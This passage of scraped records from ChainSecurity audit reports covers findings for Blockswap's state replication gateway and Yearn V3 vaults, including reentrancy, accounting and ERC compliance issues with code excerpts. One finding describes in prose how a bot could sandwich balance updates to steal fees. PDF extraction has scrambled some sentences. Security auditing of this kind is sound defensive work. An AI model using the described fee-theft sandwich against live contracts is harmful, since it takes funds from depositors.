"https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.2 ERC20 Token Decimals", "body": " The GatewayToken contract inherits from ERC20Upgradeable fixed decimals of 18. In general, this might be not the same as the original token decimals. As a result, this might break UIs that will deal with such bridged tokens. Also, protocols that rely on decimals might have problems with compatibility. Blockswap - SRG - 19 CriticalHighMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f The GatewayToken.decimals now returns a variable that can be set in the init function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.3 Inconsistent DepositEvent Amount Units", "body": " The ERC20Gateway.deposit function users provide the amount of tokens to extend as a BaseInputParams.paramTwo in wei. This param in wei will contribute to the deposit leaf hash. Same paramTwo in wei will be emitted in DepositEvent. On the destination domain recipient will need to specify the same paramTwo in _depositMetadata.baseDepositInfo.paramTwo. However, this is not consistent with savETHGateway. In savETHGateway.deposit the user provides the KNOT that he wants to migrate. The savETHRegistry.knotDETHBalanceInIndex in gwei of this KNOT will contribute to the deposit leaf hash. But the knotDETHBalanceInIndex in wei will be emitted in Deposit tx. On push, _depositMetadata.amount in gwei will be converted to wei and the savETH on the destination domain will be minted. In summary, inconsistency is that units of event do not match the value from _depositMetadata.amount and the deposit leaf hash. Assuming that the endorsers will be querying the depositMetadata for the attestation, an extra conversion of deposit event values will be needed for one of these cases to compute the hash of the RPBS info. Blockswap has successfully resolved this inconsistency in various parts of the codebase (both dispensers and ingestors). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.4 batchDeposit Reverts if the Lengths of Input", "body": " Arrays Match To batch deposit a set of transactions to their corresponding domains given suitable input params for each deposit, the input arrays should have the same length. However, in the implementation: uint256 numOfElements = _transactionSummaries.length; if (numOfElements == 0) revert EmptyArray(); if (numOfElements == _domainIds.length) revert InconsistentArrayLengths(); if (numOfElements == _baseParams.length) revert InconsistentArrayLengths(); Which means a correctly formed input will not be handled. The functionality of all functions must be tested before deployment. Conditions were fixed. Now all 3 input arrays of the batchDeposit function required to be of the same length. Blockswap - SRG - 20 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f6.5 EIP165 Interface Implementation Check Is Not Fully Correct According to eip-165, to detect that contract implements ERC-165, the source contract needs to make 2 calls. First call - to check that IERC165 is supported. Second call - to check that the invalid interface 0xffffffff is not supported. However, the Gateway._assertModuleAdheresToERC165Interface function only performs the first call. Source: https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165 A check has been added to ensure that a module supporting IERC165 does not support an invalid interface. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.6 Sandwich Attack Without MEV Services", "body": " The savETHRegistry has the following arbitrage opportunity, that bots can profit from: if a bot sees fees being to a KNOT, that belongs to an open index, a bot can sandwich this mintDETHReserves function call by 2 transactions: isolateKnotFromOpenIndex and addKnotToOpenIndex. This way, bot will get ownership of the KNOT that will have fees minted. As a result, the savETH rate won't increase. To execute this sandwich attack on the mainnet, the bot needs access to MEV service. However, on the destination domains, with the help of the poke function bots can steal fees from the open index without such services. The bot just needs to have a smart contract that sandwiches balanceIncrease the same way as mintDETHReserves. Since balanceIncrease in a mintDETHReserves on a destination domain without access control, this is possible. Specification corrected: Users, who put the KNOT into an open index voluntarily, accept the lower fees (potentially 0). In exchange, they get liquid assets that can be traded. Any actor is encouraged to perform balance updates (such as mintDETHReserves). The MEV sandwich described in this issue is seen as an arbitrage from that perspective. Hence, no fixes are needed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.7 Deployed Event of Gateway Is Not Informative", "body": " After initialization of a gateway through __Gateway_init, a mere event Deployed is emitted without any arguments. This event does not contain any parameters. Since it is used in the proxy initialization, this event increases the bytecode size of the deployed contract. Specification corrected: Blockswap responded: Blockswap - SRG - 21 CorrectnessLowVersion2CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1Speci\ufb01cationChanged \fAfter an event is emitted, all contract states can be read directly from a node saving deployment costs from not emitting data in events. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.8 whenGatewayAndPushNotKilled", "body": " Specification Mistmatch As the name of the modifier suggests, not only should the gateway be operational, but also push for the foreign domain should not be killed. However, this modifier performs the following checks: if (!domainMetadata.operational && isPushKilled[_domainId]) revert DomainOperationsArePausedOrKilled(); It means the scenarios, in which either domain is not operational or is killed, the modifier reverts. To make it comply with the specification, an OR operator instead of AND should be used. the || The && operator was the whenGatewayAndPushNotKilled will not revert only when the domain is operational and push is not killed on the domain. if condition above. Now replaced by the in ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.9 dETH Dispensers Are Not a IsavETHDispenser", "body": " The savETHGateway uses IsavETHDispenser to communicate with dETHDestinationDispenser and dETHOriginDispenser. However those contracts do not implement the aforementioned interface. Change of the code can break compliance with the interface, that will not be reported by the compiler. dETHDestinationDispenser and dETHOriginDispenser contracts now IsavETHDispenser interface. implement the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.10 RPBS Endorsement Expiry", "body": " Function verify in RPBSVerificationLibrary fetches the first endorsement and verifies that it is not expired require(signatureExpiry > block.timestamp, \"Signature expired\"). Then, it iterates over the array of endorsements and checks that all of them have the same expiry time as the first endorsement. Though correct, it obliges the endorsers to agree on a common signature expiration. What is the expiration definition procedure and how do endorsers guarantee that this expiration will be the same for all signatures? In of the code each Endorser need to specify its own expiry period. Blockswap - SRG - 22 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrectedVersion3 \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "7.1 Endorser Setting Change", "body": " First, the change of the Endorser status from ACTIVE to any other status will result in a revert of the pending push and balanceIncrease transactions if they were endorsed by the deactivated Endorser, while it was still active. Second, the increase of the numberOfEndorsementsRequired threshold can cause similar in-flight message failure. Acknowledged: Blockswap responded: As long as the user can re-submit the transaction, then there is no issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "7.2 Gas Optimisation", "body": " The codebase has several inefficiencies in terms of gas costs when deploying and executing smart contracts. Here, we report a list of non-exhaustive possible gas optimizations: 1. The modifier Gateway.whenGatewayAndDomainNotPausedOrKilled loads information about a specific domain Id to the storage and later reads the underlying information from storage, which is quite inefficient. 2. ERC20Gateway._assertConsumptionAuthorised reverts msg.sender != _baseParams.ownerGivingConsent. However, performed in _consume function, before calling to _assertConsumptionAuthorised. the same check if is 3. Gateway.injectForeignDomainCheckpoint checks the dispenser and then calls into Dispenser.injectForeignDomainCheckpoint which performs the exact same check. that recovery is enabled for 4. Gateway.batchDeposit iterates through every deposit in a list and calls to Gateway.deposit which solely calls into Gateway._consume. By calling _consume directly from batchDeposit gas can be saved. 5. Once Gateway.batchDeposit directly calls to _consume, the visibility of Gateway.deposit can also be changed to external. 6. Gateway._dispense, in case of recovery not being enabled, performs a multitude of checks (e.g. validating consent signature, asserting dispense being authorized, and finally dispensing in the dispenser module). After all of these gas expensive operations, it checks whether UTXO is already spent or not. In case of an attempt to use spent UTXO the revert will happen late in execution. Moving this check earlier would consume less gas in this scenario. Blockswap - SRG - 23 InformationalVersion1AcknowledgedInformationalVersion1Acknowledged \f7. Gateway._dispense, in case of recovery being enabled, checks that a non-zero recovery Merkle root has been injected. Later, it calls to dispenseViaRecovery of the dispenser, which again assures that the recovery Merkle root is injected. 8. Domain.dispense, checks isRecoveryEnabled, however, Gateway will only call this function if it is not set. 9. ConsentVerification.validateConsentSignature is defined as public but never used internally. Its visibility can be changed to external to save gas. 10. Both functions and _onlyValidStakeHouseKnot in savETHRegistryDestinationGateway have the exact same functionality, only with different naming. It makes bytecode of the contract larger; hence, the deployment costs would be more expensive. _onlyStakeHouseKnotThatHasNotRageQuit 11. Gateway.deposit can increase userConsentNonce without the use of the safemath. 12. The fields in the Domain struct from the IGateway can be benefit from tight variable packing patterns. 13. The balanceIncrease function checks that accumulator of the the domain is not 0. The same check is performed in the whenGatewayAndDomainNotPausedOrKilled modifier of the same function. 14. Many functions of the savETHGateway query saveETHRegistry from the universe multiple times in the same function. Acknowledged: Blockswap will consider these optimizations later and apply changes when needed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "7.3 Hash Function Consideration", "body": " The SRG uses sha256 function in multiple places. For example, in the Accumulator Merkle tree contract and for computation of certain constants like DEPOSIT_TYPE_HASH. While the original ETH2.0 Beacon staking contract uses the aforementioned hash function, the main reason for that was an assumption, that node software will be implemented in languages that do not have well-established analog for keccak256 function. In EVM sha256 is a precompiled contract, and calling into it is more expensive than the opcode keccak256. sha256 is twice more expensive than keccak256 based on gas params. This cost difference also does not include overhead for creating memory layout for the STATICCALL to the precompiled contract. Acknowledged: Blockswap responded to the issue as: We will look into the optimisations and consider them as and when needed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "7.4 Recovery Merkle Tree Considerations", "body": " Blockswap - SRG - 24 InformationalVersion1AcknowledgedInformationalVersion1Acknowledged \fTo enable recovery, a domain must be killed first. Once it will be killed, some state extension messages can stuck in-flight, meaning that the deposit tx happened on one domain, but the push for that deposit did not happen on the other domain. Consider the scenario, in which Alice has issued a deposit on mainnet chain to Bob on the Optimism chain. This extension is in-flight and still not pushed on Optimism. If then Optimism will be killed on Mainnet, this transaction must be considered during the Recovery Merkle Tree computation, even if Bob never pushed this on Optimism. A similar case happens when Bob has issued a deposit from Optimism to Alice on mainnet chain. If then Optimism will be killed on Mainnet, this transaction must be considered during the Recovery Merkle Tree computation, if Alice did not push this on Mainnet before the recovery activation. Acknowledged: Blockswap mentioned in the response Doc, that this is by design. Blockswap - SRG - 25 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "8.1 Asset Flow per Time Limit", "body": " The SRG system consists of multiple gateways on different chains. If a certain chain gateway is hacked, e.g. invalid state is inserted into Accumulator, the attacker can use connections between gateways to extend the bad state to the other chains. As a result, a system as a whole depends on the security of any of its components. Limits like \"extension of X tokens per day is allowed\" can limit the effect of bad state spread and give time for reactive measures. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "8.2 Checked Properties", "body": " Certain invariants of Blockswap SRG system were checked during this assessment or explicitly considered: GatewayToken needs to be deployed with the same decimal value as the original token. ERC20 Gateway is capable of handling simple ERC20 tokens. Any special tokens need to be wrapped. Consider this list: https://github.com/d-xo/weird-erc20 Tree leaf of the Recovery Merkle tree should never be made of 64 bytes. Intermediate nodes might become claimable due to the collisions with the total length of leaf components matching the length of See: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3091 concatenated hashes. two To prevent cross-domain replays any leaf inserted into the accumulator needs to contain origin and destination chain ids, and origin and destination gateway addresses. Any kind of leaf that is inserted into Accumulator needs to have a unique prefix like TYPE_HASH to prevent collisions with other leaf types. The total supply of ERC20 tokens minted on some destination domain should equal the totalExtended value of the origin domain on this destination domain. The total supply of ERC20 tokens minted on some destination domain should equal the totalExtended value of this destination domain on the origin domain. Balances or KNOTs deposited from the origin domain can always be pushed on the destination domain, assuming both domains are not paused/killed. In case of ERC20: ERC20OriginDispenser must be ERC20DestinationIngestor must be the burner of GatewayToken. the minter of GatewayToken. In the case of ERC20: the sum of leaf amounts in the Recovery Merkle tree should always equal the origin's totalExtended value of the recovered domain. In the case of dETH: the set of leaf KNOTs in the Recovery Merkle tree should always be the same as KNOTs that belong to the destination index on the origin domain. No leaf should contain the same KNOT twice. Such invariants need to be considered during future updates. Blockswap - SRG - 26 NoteVersion1NoteVersion1 \f8.3 Handling ERC20 With Access Control Functionality Some ERC20 tokens can ban certain addresses from sending and receiving the tokens, e.g. USDC. Assume a scenario, where Alice deposits USDC tokens from Optimism back to the mainnet. Upon push, the receiver of USDC on the mainnet chain might be blacklisted. In this scenario, Alice's tokens will be locked and the push transaction will revert. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "8.4 Restrictive Partially Blind Signatures (RPBS)", "body": " Do Not Contain Unknown Blind Data The blinded message of RPBS contains only the Merkle tree proof. However, the common RPBS info contains depositLeafIndex, gatewayRoot and accumulatorCount. Endorsers even without knowing the actual data in a blinded message, in the current version of the code Endorsers can recompute the proof themself. This can potentially be used by Endorsers to censor the depositor. In addition, RPBS schema does not bring any benefit compared to more simple ECDSA signatures. Effectively no blinding is happening. Assuming RPBS schema will be used in future versions of the systems, where the blinded data will be used, developers must be careful with what is being blinded. If the entropy of the blinded data is not great, e.g. the deposit leaf index is blinded, the Endorsers still can randomly guess what data is being blinded. For example with the deposit leaf index - not many indexes can potentially be pending. A source of entropy can be included in the blinded message, which will make guessing impossible. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "8.5 knotDETHBalanceInIndex Change Will Revert", "body": " Pending Transaction The txSummary of the savETHGateway deposit should include the knotDETHBalanceInIndex. However, the change in this value can cause pending deposits to revert. Such increases can be caused by mintDETHReserves and balanceIncrease function calls. Please note that balanceIncrease is an unrestricted function. Since the events of balance increase are assumed not to be frequent, the likelihood of this problem is small. Blockswap - SRG - 27 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.1 Gain Exceeds Max_Debt", "body": " In contract VaultV3, any strategy gains upon process_report() will be reported by increasing the strategy's current_debt and the vault's total_debt regardless of the strategy's max_debt parameter. In this case, the debt of a strategy can exceed its upper bound. CS-YVV3-001 Acknowledged: Yearn states: This is deemed acceptable if caused by profits. Since debt can be lowered at any time after by the DEBT_MANAGER. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "5.2 Reentrancy and process_report()", "body": " CS-YVV3-002 process_report() to IAccountant(accountant).report(). Note that these are trusted roles, however, if the accountant can dispatch a call from the (FORCE_)REVOKE_STRATEGY_MANAGER role, a strategy could be revoked during the process of reporting it, which breaks the correct execution flow. the Vault functions external reenter can call the of in Yearn - V3 Vaults - 11 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedRiskAcceptedCorrectnessLowVersion1AcknowledgedSecurityLowVersion1RiskAccepted \fFurthermore, similarly a strategy may enter into proces_report() while an update of its debt is in process (update_debt()). Roles are trusted to not misbehave, the smart contract implementation however does not prevent this scenario. Risk accepted: Yearn states: Reentrancy was intentionally left off process_report() so that an accountant can reenter \u2018deposit\u2019 if need be to issue refunds. It is expected that the accountant never be set to a role other than accountant. And be given no other permissions. Yearn - V3 Vaults - 12 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Disproportional Unrealized Loss on Redemption Inconsistent Debt Accounting on Withdrawal From Strategies -Severity Findings Add Self as a Strategy Incorrect Return Type of Decimals Incorrect Return Value Incorrect and Missing Specification Missing Event upon Role Change Non ERC-4626 Compliant Functions Unchecked Profit Max Unlock Time Unprotected Sweep Function 0 0 2 8 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.1 Disproportional Unrealized Loss on", "body": " Redemption If total_idle is insufficient to fulfill a user's withdrawal, _redeem() attempts to retrieve assets from the strategies a user defined or overridden by the queue_manager. Should a queried strategy have unrealized loss, the user will take part of the unrealized loss. However, the user may take the loss in a disproportional way as shown in the code. First, the user's share of the unrealized loss is computed based on assets_to_withdraw. Afterwards, assets_to_withdraw is capped by its upper bound. CS-YVV3-014 Yearn - V3 Vaults - 13 CriticalHighMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1CodeCorrected \funrealised_losses_share: uint256 = self._assess_share_of_unrealised_losses(strategy, assets_to_withdraw) if unrealised_losses_share > 0: # User now \"needs\" less assets to be unlocked (as he took some as losses) assets_to_withdraw -= unrealised_losses_share requested_assets -= unrealised_losses_share # NOTE: done here instead of waiting for regular update of these values because it's a rare case # (so we can save minor amounts of gas) assets_needed -= unrealised_losses_share curr_total_debt -= unrealised_losses_share # After losses are taken, vault asks what is the max amount to withdraw assets_to_withdraw = min(assets_to_withdraw, min(self.strategies[strategy].current_debt, IStrategy(strategy).maxWithdraw(self))) If assets_to_withdraw is restricted to strategy.maxWithdraw(self), the user will cover more than his proportional share of the loss. In addition, the updated current_debt of this strategy as well as the vault's total debt will diverge from the real debt because unrealised_losses_share has been overestimated. current_debt: uint256 = self.strategies[strategy].current_debt new_debt: uint256 = current_debt - (assets_to_withdraw + unrealised_losses_share) # Update strategies storage self.strategies[strategy].current_debt = new_debt When max_withdraw is the limiting factor for assets_to_withdraw, the unrealised loss the user takes is now adjusted proportionally. As a result, the user no longer bears more than their fair share of the loss, and the update to current_debt is done using the correct value. # If max withdraw is limiting the amount to pull, we need to adjust the portion of # the unrealized loss the user should take. if max_withdraw < assets_to_withdraw - unrealised_losses_share: # How much would we want to withdraw wanted: uint256 = assets_to_withdraw - unrealised_losses_share # Get the proportion of unrealised comparing what we want vs. what we can get unrealised_losses_share = unrealised_losses_share * max_withdraw / wanted # Adjust assets_to_withdraw so all future calcultations work correctly assets_to_withdraw = max_withdraw + unrealised_losses_share ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.2 Inconsistent Debt Accounting on Withdrawal", "body": " From Strategies If total_idle is insufficient to fulfill the redemption, _redeem() attempts to retrieve assets from the strategies. Should a queried strategy have an unrealized loss, the user has to take a part of this loss, which is regarded as realized and deducted from curr_total_debt. At the end of the loop, self.total_debt is updated to curr_total_debt. # CHECK FOR UNREALISED LOSSES # If unrealised losses > 0, then the user will take the proportional share and realise it # (required to avoid users withdrawing from lossy strategies) # NOTE: assets_to_withdraw will be capped to strategy's current_debt within the function # NOTE: strategies need to manage the fact that realising part of the loss can mean the realisation of 100% of the loss !! CS-YVV3-006 Yearn - V3 Vaults - 14 CorrectnessMediumVersion1CodeCorrected \f# (i.e. if for withdrawing 10% of the strategy it needs to unwind the whole position, generated losses might be bigger) unrealised_losses_share: uint256 = self._assess_share_of_unrealised_losses(strategy, assets_to_withdraw) if unrealised_losses_share > 0: # User now \"needs\" less assets to be unlocked (as he took some as losses) assets_to_withdraw -= unrealised_losses_share requested_assets -= unrealised_losses_share # NOTE: done here instead of waiting for regular update of these values because it's a # rare case (so we can save minor amounts of gas) assets_needed -= unrealised_losses_share curr_total_debt -= unrealised_losses_share # After losses are taken, vault asks what is the max amount to withdraw assets_to_withdraw = min(assets_to_withdraw, min(self.strategies[strategy].current_debt, IStrategy(strategy).maxWithdraw(self))) # continue to next strategy if nothing to withdraw if assets_to_withdraw == 0: continue However, in case the strategy with unrealized loss reports 0 on maxWithdraw(), it will jump to the next iteration debt code which (strategies.current_debt). Consequently, the sum of all strategies.current_debt will exceed self.total_debt and result in an accounting inconsistency. strategy-specific following updates skip and the the current_debt: uint256 = self.strategies[strategy].current_debt new_debt: uint256 = current_debt - (assets_to_withdraw + unrealised_losses_share) # Update strategies storage self.strategies[strategy].current_debt = new_debt # Log the debt update log DebtUpdated(strategy, current_debt, new_debt) The updated code ensures accurate accounting before proceeding to the next loop iteration when it is not possible to withdraw funds from a strategy: 1. If funds are simply locked, the users share of the loss to cover is zero and all accounting is correct. 2. If the strategy has a complete loss, the user realiszes this loss and the strategies debt is updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.3 Add Self as a Strategy", "body": " The vault should not add itself as a strategy. Otherwise, update_debt will revert when funds are to be deposited into the strategy, as the recipient of the shares cannot be the vault itself. CS-YVV3-012 In the updated code it is no longer possible to add the vault itself as a strategy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.4 Incorrect Return Type of Decimals", "body": " decimals() of contract VaultV3 returns an uint256 which does not comply with the ERC20 standard where an uint8 is returned. CS-YVV3-009 Yearn - V3 Vaults - 15 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f The type of the return value has been changed to uint8 which is compliant with the specification. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.5 Incorrect Return Value", "body": " CS-YVV3-011 mint() returns the calculated amount of assets to deposit, instead of the actual amount of assets into assets equal max(uint256), deposited. self._deposit() considers this a \"magic value\" and will only deposit the user's balance. mint() however will return max(uint256) and not the actual amount of assets deposited. If a user mints shares which converted The same issue exists for withdraw() when the amount of assets converted to shares equals max(uint256). The possibility of these scenarios depends on the exchange rate between shares and assets. The caller might rely on the returned values for further calculations or decision-making processes, which could lead to unintended consequences due to the discrepancy in the returned and actual deposited or withdrawn assets. Yearn has removed the ability to pass MAX_UINT as a \"magic value\" to use the full balance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.6 Incorrect and Missing Specification", "body": " In contract VaultV3, mint() returns the amount of assets deposited instead of shares according to its specification. In addition, the specifications of withdraw() and redeem() are missing. CS-YVV3-010 Specification changed: The specification of mint() has been corrected. Specification has been added for withdraw() and redeem(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.7 Missing Event upon Role Change", "body": " In contrast to other sections of the code, role management functions (with the exception of accept_role_manager) do not emit events upon these important state changes. Emitting events would enable external parties to observe these important state changes more easily. CS-YVV3-013 Yearn - V3 Vaults - 16 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f Events have been added to set_role(), set_open_role() and close_open_role(). Note that transfer_role_manager() does not emit an event, an event is emitted upon the completion of the role transfer in accept_role_manager() only. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.8 Non ERC-4626 Compliant Functions", "body": " In case the vault is in shutdown mode, no further deposit can be made. However, maxDeposit() does not return 0 when the vault is shutdown. The ERC-4626 specification however requires the function to return 0 in this case: CS-YVV3-007 ... if deposits are entirely disabled (even temporarily) it MUST return 0. In addition, maxWithdraw() assumes a full withdrawal is possible if queue_manager is set regardless of the unrealized loss. This conflicts with the specification which reads: MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary) Besides, convertToShares() does not distinguish the following cases when total_assets is 0: This is the first deposit where price per share is 1. The vault is dead where there are shares remaining but no assets. The price per share is 0 because further deposit would revert in _issue_shares_for_amount. This would be misleading convertToShares() but fail on deposit(). for external contracts to see a non-zero value when using More informational, the ERC-4626 specification is loosely defined in these corner cases for these functions. Nevertheless we want to highlight the potentially unexpected amounts returned: previewRedeem(): In case totalAssets is zero, the conversion is done at a 1:1 ratio. At this point either no shares exist (I) or the value of the existing shares has been diluted to 0 (II). For (I) the returned value of 0 is appropriate. For (II) previewRedeem() does not revert while redeem() reverts; the specification reads: MAY revert due to other conditions that would also cause redeem to revert. previewWithdraw() returns the amount in a 1:1 exchange rate when assets==0 but shares!=0. Again for non-zero values the amount returned may be misleading. Strictly speaking the value returned is not breaking the specification but might be unexpected by the caller. The caller should be aware of this and any external system should exercise caution when integrating with these functions. The full specification can be found here: https://eips.ethereum.org/EIPS/eip-4626 The code has been changed so that the deposit limit is set to 0 when the vault is shutdown, thus maxDeposit() would return 0 in this case. convertToShares() has been adjusted to distinguish the case when the vault is dead. The potentially misleading return value of previewWithdraw() is acknowledged. Yearn - V3 Vaults - 17 CorrectnessLowVersion1CodeCorrected \fYearn also acknowledged the risk of maxWithdraw() and states: It is deemed acceptable for maxWithdraw() to not take into account unrealized losses. Since this would be very gas intensive for a function potentially used on chain, and is not possible to accurately account for vaults that allow custom withdraw queues. The external system is expected to exercise caution with the features of this contract during their integration. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.9 Unchecked Profit Max Unlock Time", "body": " In contract VaultV3, profit_max_unlock_time is not checked at initialization. A faulty value may lead to unexpected behaviors. In case profit_max_unlock_time==0, the profit of the vault will be locked forever. In case profit_max_unlock_time is too large, the weighted average computation of new_profit_locking_period may revert, which blocks process_report() as a consequence. CS-YVV3-015 profit_max_unlock_time is now checked in the vault constructor and setter ensuring that it is greater than 0 and less than 1 year. # Must be > 0 so we can unlock shares assert profit_max_unlock_time > 0 # dev: profit unlock time too low # Must be less than one year for report cycles assert profit_max_unlock_time <= 31_556_952 # dev: profit unlock time too long ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "6.10 Unprotected Sweep Function", "body": " sweep() is not protected by the reentrancy guard. If trusted roles misbehave it's possible to sweep assets of the vault at a time when the value of total_idle is stale. No direct issue has been uncovered, however this permits excessive access which may introduce unnecessary risks. CS-YVV3-008 deposit(), In of by erc20_safe_transfer_from() only if the weird underlying token calls back to the sender after transferring the token. sweep() reenter calling could hook one the in Another case is that a strategy reenters sweep() when update_debt() calls withdraw() on the strategy. As the balance withdrawn is determined based on the delta of the actual balance, this shouldn't have any negative impact, apart from potentially spurious events. A guard has been added for extra safety. Yearn - V3 Vaults - 18 DesignLowVersion1CodeCorrectedSecurityLowVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "7.1 Loose Token Decimal Restriction", "body": " The vault's share token has the same token decimal as the underlying token. The underlying token decimal is restricted (<= 38) in the VaultV3 constructor. Token decimals are only for user representation and front-end interfaces. At the smart contract level, all balances maintain token decimal precision. Overflows could potentially occur if a token permits sufficiently large balances, leading to an overflow when these balances are multiplied. Importantly, this issue is unrelated to decimals, so the check in the constructor cannot prevent it. Note that we are not aware of any meaningful token with this behavior, this is more a theoretical consideration. CS-YVV3-003 Yearn understand that overflows are still possible no matter the token decimal value used. The check was updated, it now only ensures that the decimal value does not exceed an uint8. Legitimate vaults with a normal underlying token will not trigger any overflows. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "7.2 Updating Queue_Manager", "body": " CS-YVV3-004 The queue_manager smart contract defines the withdrawal sequence for a vault. Whenever a new calling informs strategy queue_manager.new_strategy(address strategy). queue_manager added, vault the the by is The queue manager for the vault can be updated using set_queue_manager(). Note that the new queue manager is not informed about all existing strategies of the vault; in this case the queue manager must be configured correctly manually. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "7.3 yv Not Enforced", "body": " The system specification requires the shares to be named yv. Note that this isn't enforced by the code, the share name can be freely defined when deploying a new Vault. CS-YVV3-005 Yearn - V3 Vaults - 19 InformationalVersion1InformationalVersion1InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.1 Debt Rebalanced in a Linear Way", "body": " During update_debt(), if the target debt value cannot be reached given the vault and strategy specific limitations on the idle and debt, it will not revert. Instead, it will rebalance the debt to the closest value towards the target. This behavior assumes it is always better to be closer to the target. However, the assumption may not always be true for different strategies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-v3-vaults/"}, {"title": "8.2 No User Protection on Shares Redemption", "body": " If during redemption funds must be pulled from a strategy at a loss, the user must cover his share of this not yet realized loss. Additionally, in case the call to strategy.withdraw() results in less than the requested assets, the user takes the full loss. Unaware users may redeem their shares for less of the underlying than they expect. There is no protection e.g. in form of a parameter which allows the user to specify the minimum amount of underlying to receive / shares to be burned he tolerates before the transaction should revert. Yearn states: It is expected that off chain users interact with the vaults through an ERC-4626 router which has logic to set minimums and slippage tolerance for deposits and withdrawals. And on chain users can either use the router or set their own limits. ", "labels": ["ChainSecurity"], "html_url": 